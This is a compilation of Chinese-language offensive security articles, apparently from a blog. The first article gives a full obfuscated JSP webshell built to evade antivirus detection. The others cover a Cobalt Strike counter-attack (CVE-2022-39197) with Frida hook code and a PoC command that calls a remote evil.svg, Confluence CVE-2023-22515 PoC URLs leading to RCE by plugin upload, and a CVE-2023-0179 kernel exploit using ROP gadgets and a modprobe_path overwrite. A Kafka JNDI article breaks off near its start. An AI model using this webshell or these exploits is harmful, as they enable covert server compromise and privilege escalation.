Webshell混淆免杀的一些思路
1、简介
为了避免被杀软检测到,黑客们会对Webshell进行混淆免杀。本文将介绍一些Webshell混淆免杀的思路,帮助安全人员更好地防范Webshell攻击。静态免杀是指通过对恶意软件进行混淆、加密或其他技术手段,使其在静态分析阶段难以被杀毒软件或安全防护产品所检测出来的方法。静态免杀的目的是为了规避杀毒软件的检测机制,使恶意软件能够在目标系统上长时间地存活和执行。也就是说让webshell尽量和原本的代码不一致。
2、混淆字符
混淆字符是最基本的混淆webshell手段之一,混淆字符集可以使得杀毒软件无法检测到其原有的代码特征。具体实现就是将webshell的原本的字符编码成另外的字符。这里以哥斯拉的jspwebshell示例。因为java是默认支持unicode编码的。
Java代码示例:
然后可以上传vt查杀可以看到还是会被挺多杀软识别的。
现在可以通过给个提到的编码进行替换原有的关键字,再次上传vt可以发现少报毒了几个杀软。当然这个只是最简单的方法而已,只是证明能够通过一些字符编码使得特征不那么明显,实战中并不能完全靠字符编码绕过杀软,字符编码主要在实际混淆webshell中只能够起到一个辅助作用。
3、利用注释
利用注释这种方法是目前较为常用的方法之一,其利用的是部分杀软不识别webshell中的注释的特性,比如杀软匹配的规则是eval()这个函数,那么我们就可以利用注释符号将原本的代码修改成eval/*xxxxx*/()这种写法去进行绕过,这使得杀软的规则匹配失败的同时原本的代码还能够正常运行。
Java示例:
然后这边是给原本的webshell加上注释之后,丢到vt上的查杀效果。
值得注意的是,现在大部分杀软会匹配程序注释规则,但是并不意味着我们无法使用注释符号去进行绕过。比如杀软会匹配出/*注释内容...*/然后选择性无视注释内部的东西。那么我们就可以使用Strings = "/*"; code...; String ss = "*/";code...就是webshell的一行正常代码。这样杀软可能会把两个字符串/* */中间的值认为是注释内容从而匹配恶意代码失败。
4、改变代码特征
改变代码特征是指修改代码原本的写法但是不改变其功能,因为大部分杀软静态查杀webshell会有一个语句的特征,比如单纯的php一句话木马eval($_POST['x']);很容易就会被杀软查杀,但是服务器上运行的php代码有一些文件含有eval,然后其参数是根据一系列的函数调用进行传递的就不会被杀软注意到。这也就是最容易绕过杀软的一个特性,可以改变程序的代码特征用于绕过杀软。具体就是比如可以用函数封装webshell某段代码,用三元表达式代替ifelse,用一些代替写法比如java中的int类型1可以写作0x1或者是10000-9999这种写法代替,用for循环代替while循环,也可以是添加
部分代码截图:
可以看到免杀效果其实还不是很理想,因为实际过程中的免杀并不是单一的方法就能够完成的,往往都需要很多种方法混合使用效果才会达到令人满意的地步。以下代码是以上三种方法混合使用混淆的。
全部代码:
<%@ page import="java.io.InputStream" %>
<%@ page import="javax.crypto.spec.SecretKeySpec" %>
<%@ page import="javax.crypto.Cipher" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.io.IOException" %>
<%! String xc = "\u0033\u0063\u0036\u0065\u0030"/*\u3333*/ +/*\u3333*/"\u0062\u0038\u0061\u0039\u0063\u0031\u0035\u0032\u0032\u0034\u0061";
class Register extends ClassLoader {
public Register(ClassLoader username) {
super(username);
}
public Class Query/*\u3333*/(byte[] password) {
int len = password.length;
String s1 = "/*";
Class<?> aClass = super.defineClass(password, 0XAFFFF - 0XAFFFF, len);
String s2 = "*/";
return aClass;
}
}
public byte[] x(byte[] s, boolean m) {
// 这行代码换了个顺序
byte[] bs = xc.getBytes();
try {
String sss = "/*";
String decode = "\u0041\u0045\u0053";
Cipher c = Cipher.getInstance(decode);
String ccc = "*/";
// if代替了原本的三元表达式
int flag = 0xAFFFF;
if (m) {
flag = 1;
} else {
flag = 2;
}
String acaw = "/*";
c.init(flag, new SecretKeySpec(bs, decode));
String ANANAWU = "*/";
String string1 = "/*";
byte[] bytes = c.doFinal(s);
String string12 = "*/";
return bytes;
} catch (Exception e) {
return null;
}
}
public void run(Object o, ByteArrayOutputStream bos, PageContext pageContext) {
// 添加注释
/*o.equls(null)*/
int x = 10;
int y = 20;
// 这里有一些毫无意义的操作
x = (x + y) * 2;
y = x - y;
String meaninglessString = "Hello, this is a meaningless string.";
if (x > y) {
x = x * 2;
} else {
y = y * 2;
}
String sss = "/*";
o./*o.equls(null)*/equals/*o.equls(null)*/(bos);
String ccc = "*/";
o./*o.equls(null)*/equals/*o.equls(null)*/(pageContext);
String ac = "//";
o.toString/*o.equls(null)*/();
}
public void run2(byte[] data_bytes, HttpSession session) {
String py = "\u0070\u0061\u0079" +/*as*/"" + "\u006c\u006f\u0061\u0064";
Register REG = new Register(this.getClass().getClassLoader());
Class cs = REG.Query(data_bytes);
session.setAttribute(py, cs);
}
public Object os_return(HttpSession session) {
String py = "\u0070\u0061\u0079" +/*as*/"" +/*sa*/"\u006c\u006f\u0061\u0064";
return session.getAttribute(py);
}
public void pull(ByteArrayOutputStream bos, OutputStream os) throws IOException {
byte[] x = x(bos.toByteArray(), true);
os.write(x);
}
public void setAttribute(HttpServletRequest request, String key, Object value) {
request.setAttribute(key, value);
}
public ByteArrayOutputStream getBos() {
ByteArrayOutputStream arrOut = null;
arrOut = new ByteArrayOutputStream();
return arrOut;
}
%><%
try {
String header = request.getHeader/*o.equls(null)*/("\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u004c\u0065\u006e\u0067\u0074\u0068");
String py = "\u0070\u0061\u0079" +/*as*/"" +/*sa*/"\u006c\u006f\u0061\u0064";
int length = Integer.valueOf/*o.equls(null)*/(header);
byte[] data_bytes = new byte[/*o.equls(null)*/length];
InputStream is = request.getInputStream();
// for循环替代了while循环
for (int _num = 0; _num < data_bytes./*o.equls(null)*/length; _num += is.read(data_bytes, _num, data_bytes.length));
// 原本的false变成了 !true
data_bytes = x/*o.equls(null)*/(/*o.equls(null)*/data_bytes, /*o.equls(null)*/!true);
OutputStream os = response.getOutputStream();
ByteArrayOutputStream bos = getBos();
boolean flag = session.getAttribute(py) == null;
if (flag) {
run2(data_bytes, session);
} else {
setAttribute(request, "\u0070\u0061\u0072\u0061\u006d" +/*aaaa*/""/*SSS*/ + "\u0065\u0074\u0065\u0072\u0073", data_bytes);
String s = "/*";Class cs = (Class) os_return(session);String c = "*/";
Object f = (cs).newInstance();
run(f, bos, pageContext);
/* 垃圾代码 */
int a = 10;
int b = 20;
for (int i = 0; i < 5; i++) {
a += b;
b -= a;
}
String meaninglessString = "This is a meaningless string.";
int[] numbers = {1, 2, 3, 4, 5};
for (int num : numbers) {
if (num % 2 == 0) {
// 不执行任何操作
} else {
// 不执行任何操作
}
}
/* 垃圾代码 */
pull(bos, os);
}
} catch (Exception e) {
}
%>
免杀效果:
Ps:以上代码仅仅提供一个思路,实际过程中并不用如此多代码量,仅需要bypass掉目标服务器上的杀软即可。
5、利用代码加密工具
上面介绍了一些java代码的混淆,php的混淆通常来说更加简单,因为php这门语言特性,使得很多厂商都会使用php代码加密来保护代码使得代码不会被别人轻易破解/篡改。我们可以利用这些加密来实现免杀的功能。
比如随便找一些php在线混淆哥斯拉的webshell
链接也是没有问题的
虽然vt查看免杀效果有些拉跨但是我们可以加密多次用来绕过。
经过3次混淆的phpwebshell,反正我是认不出来了。
类似aspx的混淆以及java其实都可以使用代码混淆的方法去绕过,只需要搜索一下混淆器即可。
6、总结
文本主要分享了一下自己的一些webshell免杀思路。其实webshell免杀的思路无非就是修改webshell的特征,不管用手段如何最终达到的肯定是这样的一个目的。当然个人觉得是多种手法混用效果是最好的,基本上手动混淆的webshell时效性也比用工具混淆的webshell要长一些。
Cobalt Strike之反向上线操作
前言
Cobalt Strike 使用 GUI 框架 SWING(一种java GUI的库)开发,攻击者可通过CS木马在 beacon 元数据中注入恶意 HTML 标签,使得Cobalt Strike对其进行解析并且加载恶意代码(类似XSS攻击),从而在目标系统上执行任意代码。
实现原理
攻击者需要通过CS木马在 beacon 元数据中注入恶意payload,恰好Frida 可以用于钩入和修改各种函数,包括 Windows API 函数,这里反制主要通过使用Frida框架钩入Windows API函数,从而对beacon 元数据中注入恶意代码,以下是一些你可以通过 Frida 钩入的 Windows API 函数的示例
Kernel32.dll:
CreateFileW
ReadFile
WriteFile
FindFirstFileW
CreateProcessW
GetProcAddress
LoadLibraryW
VirtualAlloc
VirtualProtect
Advapi32.dll:
RegOpenKeyExW
RegQueryValueExW
RegSetValueExW
GetUserNameA
User32.dll:
MessageBoxW
SetWindowTextW
GetWindowTextW
Gdi32.dll:
TextOutW
CreateFontIndirectW
Shell32.dll:
ShellExecuteW
Ws2_32.dll:
send
recv
在 Frida 中,你可以使用 Interceptor.attach 方法来附加到这些函数并添加你自己的处理逻辑。这样,你就可以在这些函数被调用时执行自定义代码,此时也意味着你可以对 beacon 元数据中注入自定义代码了。
例如Kernel32.dll:中的Process32Next
# Frida 框架来拦截 kernel32.dll 中的 Process32Next 函数,该函数用于遍历进程列表
var pProcess32Next = Module.findExportByName("kernel32.dll", "Process32Next")
# 使用Interceptor.attach方法附加到 Process32Next 函数,以下为自己的处理逻辑
Interceptor.attach(pProcess32Next, {
onEnter: function(args) {
this.pPROCESSENTRY32 = args[1];
if(Process.arch == "ia32"){
this.exeOffset = 36;
}else{
this.exeOffset = 44;
}
this.szExeFile = this.pPROCESSENTRY32.add(this.exeOffset);
},
onLeave: function(retval) {
if(this.szExeFile.readAnsiString() == "target") {
send("[!] Found beacon, injecting payload");
this.szExeFile.writeAnsiString(payload);
}
}
})
函数内整体逻辑拆开来分析下
处理函数进入 onEnter
onEnter: function(args) {
this.pPROCESSENTRY32 = args[1];
if(Process.arch == "ia32"){
this.exeOffset = 36;
}else{
this.exeOffset = 44;
}
this.szExeFile = this.pPROCESSENTRY32.add(this.exeOffset);
},
在函数进入时,保存 Process32Next 函数的参数,并计算 szExeFile 的地址。szExeFile 是一个指向进程信息结构体的字段,其中包含进程的可执行文件名
处理函数离开 onLeave
onLeave: function(retval) {
if(this.szExeFile.readAnsiString() == "target") {
send("[!] Found beacon, injecting payload");
this.szExeFile.writeAnsiString(payload);
}
}
在函数离开时,检查 szExeFile 中的进程可执行文件名是否等于字符串 "target"。如果相匹配,将指定的 payload 写入进程的可执行文件名里,使得Cobalt Strike对其进行解析并且加载payload
简单来说就是注入Windows API修改tasklist返回的进程名,将进程名改写成攻击payload,当攻击者点击beacon执行列出进程时,只要他浏览到带有payload的进程名,就会执行反制RCE
反制复现
环境准备:
注:受到反制影响的Cobalt Strike版本< 4.7.1(全局禁止html渲染的Cobalt Strike不受印影响)
开源POC和EXP:https://github.com/its-arun/CVE-2022-39197
1、编辑恶意文件内容
修改Exploit.java,更改exec内代码参数为要执行的命令,我这里为了直观展示则执行powershell一句话上线CS
2、编译文件
使用IDEA+maven进行编译,编译完成后会在target目录下生成EvilJar-1.0-jar-with-dependencies.jar文件,具体如下
3、将生成的恶意jar文件和svg文件放在同一路径下
将红队发送的木马样本放在与cve-2022-39197.py脚本同一路径下
4、蓝队在serve路径下开启一个web服务
5、编辑evil.svg文件,替换为当前路径启用的恶意jar的web地址
6、执行POC脚本
python3 cve-2022-39197.py artifact.exe http://192.168.108.248:9999/evil.svg
运行后,红队的cs客户端上可以看到此时木马已经成功上线
当红队尝试获取用户会话的进程列表,当滚动进程列表进行查看当前会话所在进程名时即触发(若未触发可能需要手动点击或触发存在延迟),请求蓝队web服务上的evil.svg文件,而evil.svg文件又继续加载请求恶意文件EvilJar-1.0-jar-with-dependencies.jar
成功上线蓝队CS,从而达到反制RCE
思考
除了以上Kernel32.dll:中的Process32Next函数的反制思路,其实还有很多其他的反制思路,正如Windows API 函数之多。我们还可以尝试Kernel32.dll:中的FindFirstFileW函数(根据文件名查找文件的函数),大概情况就是注入Windows API 修改返回的文件名,将文件名改写成攻击payload,当攻击者点击beacon执行列出文件时,只要他浏览到带有payload的文件名,就会执行反制RCE,以下就直接展示上线的效果(复现步骤和上面一样)
最后
此Cobalt Strike反制虽然是一个去年曝光的漏洞了,但是基数上还是会有许多人在使用着存在漏洞的Cobalt Strike版本,对应地Cobalt Strike的反制可玩性还是很高的,师傅们发挥想象可以让对手猝不及防。
Confluence 未授权漏洞分析(CVE-2023-22515)
0x01 漏洞描述
Confluence 是由 Atlassian 开发的企业级协作软件。2023年10月,Atlassian 官方披露 CVE-2023-22515 Atlassian Confluence Data Center & Server 权限提升漏洞。攻击者可构造恶意请求创建管理员,从而登录系统,造成敏感信息泄漏等。
如果 Confluence 站点托管在 Atlassian Cloud(域名为:atlassian.net),则不受此漏洞影响。
0x02 影响版本
8.0.0 - - 8.0.4
8.1.0 - - 8.1.4
8.2.0 - - 8.2.3
8.3.0 - - 8.3.2
8.4.0 - - 8.4.2
8.5.0 - - 8.5.1
0x03 环境搭建
安装包 https://www.atlassian.com/software/confluence/download-archives
jar 包:
https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-8.5.1.zip
https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-8.5.2.zip
大致的安装可以看 https://cn-sec.com/archives/2177640.html
其中有一步数据库的安装会存在一些问题,首先是新建数据库的时候,对编码有要求
CREATE DATABASE confluence CHARACTER SET utf8mb4 COLLATE utf8mb4_bin;
随后是连接
jdbc:mysql://localhost/confluence?sessionVariables=transaction_isolation='READ-COMMITTED'
在配置数据库时需要指定 READ-COMMITTED
下一步是做调试准备,这里的调试需要找到 Service
随后在 cmd 里面运行这一个行命令,就会跳出如图所示的框框
tomcat9w.exe //ES//Confluence151123100612
随后添加 JAVA_OPTS,进行动调
0x04 漏洞分析
根据官方的公告,修复建议是给 /setup 打头的接口做鉴权校验
<security-constraint>
<web-resource-collection>
<url-pattern>/setup/*</url-pattern>
<http-method-omission>*</http-method-omission>
</web-resource-collection>
<auth-constraint />
</security-constraint>
由于 Confluence 这里的框架是基于 S2 的,S2 的大致流程如 su18 师傅的图所示
也就是说我们现在需要去找一下 /setup/* 接口是怎么被处理的,直接分析是比较难的,所以先 diff 一下代码。
首先 struts2.xml 里面
修复版本新增了 struts.override.acceptedPatterns
修复版本删除了 server-info action
接着是 BootstapStatusProviderImpl 类里面增加了部分内容,对属性 setupPersister 和 applicationConfig 做了限制
这里有点没看懂修了什么,所以我先动调观察具体接口是怎么处理的,根据 Struts2 的特性,去到 struts.xml 里面找对应的 Interceptor,不难找到具体处理的拦截器是 SetupCheckInterceptor
开始动调,看一下 /setup/setupadministrator.action 接口的逻辑是怎么处理的。
中间走到 com.atlassian.config.ApplicationConfig#isSetupComplete 时,在新版本的 fix 里面是增加了这一段的 ReadOnlyApplicationConfig 配置的
所以这里的漏洞利用思路大概就是先动态修改 setupPersister 或 applicationConfig,在触发了这一点之后,能够下一步访问 /setup/setupadministrator.action,重新配置管理员密码。
这里具体的实现很有意思,su18 师傅的文章说的很明白,我就直接拿过来用了
https://su18.org/post/struts2-1/OGNL 中的根对象即为 ValueStack(值栈),这个对象贯穿整个 Action 的生命周期(每个 Action 类的对象实例会拥有一个 ValueStack 对象)。当Struts 2接收到一个 .action 的请求后,会先建立Action 类的对象实例,但并不会调用 Action 方法,而是先将 Action 类的相应属性放到 ValueStack 的实现类 OgnlValueStack 对象 root 对象的顶层节点( ValueStack 对象相当于一个栈)。在处理完上述工作后,Struts2 就会调用拦截器链中的
我们需要找一个 OGNL 的点, 并且这个点能够以某种方式去调用某个类的 getter / setter, 以此来配置 applicationConfig 的 setupComplete 字段
于是去 diff 跟 Struts2 有关的依赖, 即 com.atlassian.struts2_struts-support-1.1.0.jar 和 com.atlassian.struts2_struts-support-1.2.0.jar
发现修改的类是 SafeParametersInterceptor,这个类会处理所有的输入,所以 server-info.action 这个请求也会经过它
同时,Confluence 使用了 XWork 框架,它允许通过 HTTP 请求来设置 Java 对象的参数:https://developer.atlassian.com/server/confluence/xwork-plugin-complex-parameters-and-security/
XWork allows the setting of complex parameters on an XWork action object. For example, a URL parameter of formData.name=Charles will be translated by XWork into the method calls getFormData().setName("Charles") by the XWork parameters interceptor. If getFormData() returns null, XWork will attempt to
这就允许我们在输入时候传参类似于 ?test=a.b.c,动调一下
http://192.168.80.137:8090/server-info.action?a.b.c
这里会先做过滤,跟进 this.filterSafeParameters() 方法,该方法会对传入的参数进行判断,如果包含关键字或者满足正则匹配则返回 false
BLOCKED_PARAMETER_NAMES: actionErrors、actionMessages
EXCLUDE_CLASS_PATTERN: .*class[^a-z0-9_].*
SAFE_PARAMETER_NAME_PATTERN: \w+((\.\w+)|(\[\d+\])|(\['[\w.]*'\]))*
MAP_PARAMETER_PATTERN: .*\['[a-zA-Z0-9_]+'\]
如果不在黑名单内,最后会调用 isSafeComplexParameterName() 方法,这个方法会检查传入的参数是否调用了当前 action 的某个 getter / setter,如果调用了,则判断里面是否有 ParameterSafe 注解。
如果没有实现 @ParameterSafe 注解,那么 isSafeMethod 就会返回 false
这么一看,漏洞成立需要绕过黑名单验证,并且满足 @ParameterSafe 注解,利用条件十分苛刻。继续往下走,回到 com.atlassian.xwork.interceptors.SafeParametersInterceptor#doIntercept,跟进 super.doIntercept() 方法。能够看到这里是跟进到了 com.opensymphony.xwork2.interceptor.ParametersInterceptor#doIntercept 方法,它会重新处理一遍参数,这就导致上面的黑名单完全没生效。
跟进 setParameters() 方法后其实就是 S2 处理 OGNL 语句的那一套,参考 https://drun1baby.top/2022/10/27/Java-Struts2-%E7%B3%BB%E5%88%97-S2-001/#%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90
总的来说, 因为 SafeParametersInterceptor.doIntercept() 方法的一些逻辑问题, 导致这个类自身对传入参数的过滤并没有生效, 我们最终还是可以通过 a.b.c=e 的形式去调用当前 action 的 getter / setter, 并不需要关心方法本身或者它的 returnType 是否使用了 @ParameterSafe 注解
到这里思路就很清晰了,我们只需要构造 OGNL 即可,调用某个 Action 里的 setter,让 isSetupComplete=false 即可
以 ServerInfoAction 为例, 它继承自 ConfluenceActionSupport
这里的 getBootstrapStatusProvider() 方法调用了 BootstrapStatusProviderImpl.getInstance(),接下来就可以去 BootstrapStatusProviderImpl 里面寻找调用链,可惜的是这里的 setSetupComplete() 已经用不了了,只能找另外的
最终找到的是 getApplicationConfig() 方法,而在 ApplicationConfig 类里面存在 setSetupComplete() 方法可用
因为 Confluence 的所有 Action 都继承自 ConfluenceActionSupport, 所以理论上只要访问任意一个使用了 SafeParameterInterceptor 的路由, 无论是 GET 还是 POST 方法都能够利用成功
于是最后的 PoC 应该是
http://192.168.80.137:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false
在进行覆盖 setupComplete=false 之后重新注册管理员
http://192.168.80.137:8090/setup/setupadministrator-start.action
0x05 未授权之后的 RCE
X1r0z 师傅已经介绍了一种 RCE 的方法,但是利用条件有限,需要 web目录可写并且高权限用户
其实有一种更简单的方法,看到:https://packetstormsecurity.com/files/175225/Atlassian-Confluence-Unauthenticated-Remote-Code-Execution.html
可以通过上传插件实现 RCE,利用工具github上已经存在了:https://github.com/AIex-3/confluence-hack/
http://192.168.80.137:8090/plugins/servlet/upm
上传 plugin_shellplug.jar,访问 /plugins/servlet/com.jsos.shell/ShellServlet
CVE-2023-0179提权利用
前言
在https://mp.weixin.qq.com/s/SnPaqVJ7HyQ4yur6p5dhLg中,分析了漏洞的成因,接下来分析漏洞的利用。
漏洞利用
根据漏洞成因可以知道,payload_eval_copy_vlan函数存在整型溢出,导致我们将vlan头部结构拷贝到寄存器(NFT_REG32_00-NFT_REG32_15),而该变量时存在与栈上的,因此可以覆盖栈上的其余变量的。
可以发现regs变量是无法覆盖到返回地址。
因此我们需要观察源码,jumpstack变量是在regs变量下方
我们可以通过溢出regs变量覆盖到jumpstack变量。
那么接下来需要观察一下nft_jumpstack结构体中存在哪些变量
struct nft_jumpstack {
const struct nft_chain *chain;
const struct nft_rule_dp *rule;
const struct nft_rule_dp *last_rule;
};
chain:用于指定在哪个流程进行hook
rule:以什么样的规则处理数据包
last_rule:规则可能不止一条,因此last_rule用于指向最后一条规则
nft_jumpstack结构体在nft_do_chain函数的作用如下,当状态寄存器被设置为JUMP条件时,意味着需要跳转到其他chain进行处理,因此需要先保存当前chain的状态,这里与函数调用时保存栈时的处理一样,估计因此才命名为jumpstack。并且使用一个全局变量stackptr用于确定保存的chain的先后顺序。在保存完之后,就跳转到目的chain,目的chain则是存储在regs.verdict.chain中。
...
switch (regs.verdict.code) {
case NFT_JUMP:
if (WARN_ON_ONCE(stackptr >= NFT_JUMP_STACK_SIZE))
return NF_DROP;
jumpstack[stackptr].chain = chain;
jumpstack[stackptr].rule = nft_rule_next(rule);
jumpstack[stackptr].last_rule = last_rule;
stackptr++;
case NFT_GOTO:
chain = regs.verdict.chain;
goto do_chain;
...
还原chain的过程如下,通过递减stackptr来取出存储在jumpstack变量中存储的chain、rule、lastrule,然后就会跳转到next_rule对还原的rule,进行rule的解析,这里需要注意的是在遍历rule的时候,循环是通过rule < last_rule进行遍历的,因此我们在后续伪造last_rule的时候需要大于rule,否则是无法进入循环内部的。
next_rule:
regs.verdict.code = NFT_CONTINUE;
for (; rule < last_rule; rule = nft_rule_next(rule)) {
nft_rule_dp_for_each_expr(expr, last, rule) {
if (expr->ops == &nft_cmp_fast_ops)
nft_cmp_fast_eval(expr, ®s);
else if (expr->ops == &nft_cmp16_fast_ops)
nft_cmp16_fast_eval(expr, ®s);
else if (expr->ops == &nft_bitwise_fast_ops)
nft_bitwise_fast_eval(expr, ®s);
else if (expr->ops != &nft_payload_fast_ops ||
!nft_payload_fast_eval(expr, ®s, pkt))
expr_call_ops_eval(expr, ®s, pkt);
if (regs.verdict.code != NFT_CONTINUE)
break;
}
...
if (stackptr > 0) {
stackptr--;
chain = jumpstack[stackptr].chain;
rule = jumpstack[stackptr].rule;
last_rule = jumpstack[stackptr].last_rule;
goto next_rule;
}
...
紧接着来看一下nft_rule_dp结构体,可以发现第一个八个字节是一些标志位组成的,而后续的八个字节则是用于存储nft_expr结构体的指针。
struct nft_rule_dp {
u64 is_last:1,
dlen:12,
handle:42; /* for tracing */
unsigned char data[]
__attribute__((aligned(__alignof__(struct nft_expr))));
};
然后可以看到nft_expr结构体里存储了函数指针,如果我们能够篡改该函数指针就可以劫持程序流程。
struct nft_expr {
const struct nft_expr_ops *ops;
unsigned char data[]
__attribute__((aligned(__alignof__(u64))));
};
然后在这篇文章https://www.ctfiot.com/100156.html学习到了一个小技巧。使用ptype /o struct xxx就可以看到具体的结构体信息与偏移。
因此构造的流程如下,首先我们通过漏洞溢出到nft_jumpstack结构体,并且修改rule变量为可控内容的地址同时需要将lastrule的值篡改为比rule更大的值,原因上述已经说过。紧接着在可控内容中伪造一个nft_rule_dp结构体,第一个八字节是填充位,而第二个八字节是需要伪造的函数表指针,同样的我们也将该指针篡改为可控内容的地址,然后再该地址处伪造nft_expr,并且将ops变量指向我们想要执行的函数即可。
通过上述分析已经知道了该如何通过漏洞完成程序流程的劫持,接下来需要分析如果伪造上述几个结构体。
首先在nft_payload_copy_vlan函数中,漏洞点是将vlan头的数据拷贝到指定的寄存器里面,而vlan头的地址是低于寄存器的地址,这就会导致在拷贝完vlan头后会将寄存器中的值也进行拷贝的操作,而寄存器的值我们是能人为控制的,因此就可以完成伪造的操作。
可以看到我们对NFT_REG32_00的赋值会覆盖到jumpstack[7].rule的值,完成了对jumpstack结构体的篡改,这里我们可以通过NFT_REG32_00 - NFT_REG32_15进行赋值,紧接着查看jumpstack哪个值是被赋值。就可以知道哪个jumpstack可以被篡改。
由于我们可以控制regs变量的值,我们可以首先泄露regs的地址,然后在regs上伪造rule即可。然后expr重新指向为jumpstack即可,这里采用了一个小技巧就是将last_rule设置为一个函数地址,由于函数地址的值是大于regs变量的地址值的,因此我们可以节约八个字节。
但是这里有个问题就是我们只能控制八个字节的函数指针,因此是无法构造一个完整的ROP链的,而内核并不存在像用户态下有one_gadget可以只利用八个字节就能完成利用,因此在这里必须使用栈迁移,迁移的目的是一段可以控制的内存,那么这里选用的目的自然就是regs了。那么该如何找栈迁移的gadget呢?,这里我首先采用的使用利用vmlinux-to-elf将bzImage的符号表提取出来,然后寻找对应的gadget,gadget类型如下
mov rsp,xxx
push xxx;pop rsp
add rsp,xxx
xchg rsp,xxx
上述指令都可以修改rsp寄存器,完成栈迁移的效果。
首先通过vmlinux-to-elf ./bzImage ./vmlinux去提取出符号表
然后通过ropper进行gadget的提取,ropper --file ./vmlinux --nocolor > g
最后这在搜索gadget,cat g | grep 'add rsp.*ret',但是通过尝试发现下述的地址都没办法使用,因为下述地址都不具备可执行的权限。
然后尝试了搜索上述所有的gadget,我都没有找到可以用的gadget,唯一比较接近的gadget是pop rsi的,但是无法控制rsi的寄存器,其实这里一开始我使用的镜像是自己编译的,这里搜索的gadget是需要控制rdi寄存器的,经过多次尝试无果后才使用了作者的config文件重新编译发现还是不可行。
其实我们在编译内核文件时是存在vmlinux文件的,但是那个文件十分的大,使用ropper工具无法分析,就在我准备放弃的时候,想到使用objdump工具进行gadget的提取
使用objdump -d -M intel vmlinux > ./gadget.txt
-d是dump代码
-M是指定汇编代码的格式
objdump提取的速度非常快,提取代码如下,但是它没有ropper搜索gadget那么方便,但是会全的多
这里我首先尝试了搜索栈迁移的gadget,cat gadget.txt | grep -E 'add rsp.*'
可以发现有非常多的匹配的gadget,接着我们在gdb中验证可以使用的gadget,通常在栈进行还原的时候会用到add rsp,xxx,因此都是有效的gadget,然后就是计算栈顶与resg函数地址的差值找到相应的栈迁移gadget即可。
接下就是考虑如何进行提权的利用了,虽然我们可以控制regs但是可控的范围也只有0x40是不足于采用commit_creds(prepare_kernel_cred(0))设置root凭证然后返回到用户空间执行后门的。那么相当的一个办法就是通过覆盖modprobe_path进行提权。这里我找了下列gadget进行modprobe_path的覆盖,将rdi设置为modprobe_path,rax设置为覆盖后的路径即可。
0xffffffff810d1e6b: mov qword ptr [rdi], rax; ret;
0xffffffff81004165: pop rdi; pop rbp; ret
最后就是覆盖完modprobe_path该如何返回到用户态,因为modprobe_path的提权需要在用户态下执行非法文件头的文件,这里作者采用的是将栈还原,通过在rbp中的地址值覆盖会rsp中即可,采用下述gadget
0xffffffff810b47f0: mov rsp, rbp; pop rbp; ret;
但是在我的环境下直接返回不行,这是因为在返回到nf_hook_slow函数时,有对状态码的一个检验,而在上述覆盖modprobe_path时,我们设置了rax值,就导致无法将状态码设置成合法值。那分支就会跳转到default,导致报错。在尝试搜索了gadget之后,可以将rax设置为0,但是这回进入到NF_DROP分支 中,但是此时skb变量也被我们破坏了,无法正常执行。
int nf_hook_slow(struct sk_buff *skb, struct nf_hook_state *state,
const struct nf_hook_entries *e, unsigned int s)
{
unsigned int verdict;
int ret;
for (; s < e->num_hook_entries; s++) {
verdict = nf_hook_entry_hookfn(&e->hooks[s], skb, state);
switch (verdict & NF_VERDICT_MASK) {
case NF_ACCEPT:
break;
case NF_DROP:
kfree_skb_reason(skb,
SKB_DROP_REASON_NETFILTER_DROP);
ret = NF_DROP_GETERR(verdict);
if (ret == 0)
ret = -EPERM;
return ret;
case NF_QUEUE:
ret = nf_queue(skb, state, s, verdict);
if (ret == 1)
continue;
return ret;
default:
/* Implicit handling for NF_STOLEN, as well as any other
* non conventional verdicts.
*/
return 0;
}
}
return 1;
}
在尝试很久之后,最终放弃正常返回的这个选项,然后我在rbp中搜索是否有合适的返回地址。最后在rbp中我找到了一个do_softirq函数
该函数是一个软中断处理的函数,当时我就猜想,如果这个函数返回了,应该不会影响程序的执行。
尝试运行之后,发现还是有内核异常,顿时有点失望。
但是在操控命令行的时候是能够正常输入命令的,说明我们成功返回到用户态了。
最后就是查看是否将新用户写入到/etc/passwd中了,最终完成写入。完结撒花!。
完整exp可以参考https://github.com/h0pe-ay/Vulnerability-Reproduction/blob/master/CVE-2023-0179(nftables)/poc.c
Kafka JNDI 注入分析(CVE-2023-25194)
Apache Kafka Clients Jndi Injection
漏洞描述
Apache Kafka 是一个分布式数据流处理平台,可以实时发布、订阅、存储和处理数据流。Kafka Connect 是一种用于在 kafka 和其他系统之间可扩展、可靠的流式传输数据的工具。攻击者可以利用基于 SASL JAAS 配置和 SASL 协议的任意 Kafka 客户端,对 Kafka Connect worker 创建或修改连接器时,通过构造特殊的配置,进行 JNDI 注入来实现远程代码执行。
影响范围
2.4.0 <= Apache Kafka <= 3.3.2
前置知识
Kafka 是什么
Kafka 是一个开源的分布式消息系统,Kafka 可以处理大量的消息和数据流,具有高吞吐量、低延迟、可扩展性等特点。它被广泛应用于大数据领域,如日志收集、数据传输、流处理等场景。
感觉上和 RocketMQ 很类似,主要功能都是用来进行数据传输的。
Kafka 客户端 SASL JAAS 配置
简单认证与安全层 (SASL, Simple Authentication and Security Layer ) 是一个在网络协议中用来认证和数据加密的构架,在 Kafka 的实际应用当中表现为 JAAS。
Java 认证和授权服务(Java Authentication and Authorization Service,简称 JAAS)是一个 Java 以用户为中心的安全框架,作为 Java 以代码为中心的安全的补充。总结一下就是用于认证。有趣的是 Shiro (JSecurity) 最初被开发出来的原因就是由于当时 JAAS 存在着许多缺点
参考自 https://blog.csdn.net/yinxuep/article/details/103242969 还有一些细微的配置这里不再展开。动态设置和静态修改 .conf 文件实际上效果是一致的。
服务端配置
1、通常在服务器节点下配置服务器 JASS 文件,例如这里我们将其命名为 kafka_server_jaas.conf,内容如下
KafkaServer {
org.apache.kafka.common.security.plain.PlainLoginModule required
username="eystar"
password="eystar8888"
user_eystar="eystar8888"
user_yxp="yxp-secret";
};
说明:
username +password 表示 kafka 集群环境各个代理之间进行通信时使用的身份验证信息。
user_eystar="eystar8888" 表示定义客户端连接到代理的用户信息,即创建一个用户名为 eystar,密码为 eystar8888 的用户身份信息,kafka 代理对其进行身份验证,可以创建多个用户,格式 user_XXX=”XXX”
2、如果处于静态使用中,需要将其加入到 JVM 启动参数中,如下
if [ "x$KAFKA_OPTS" ]; then
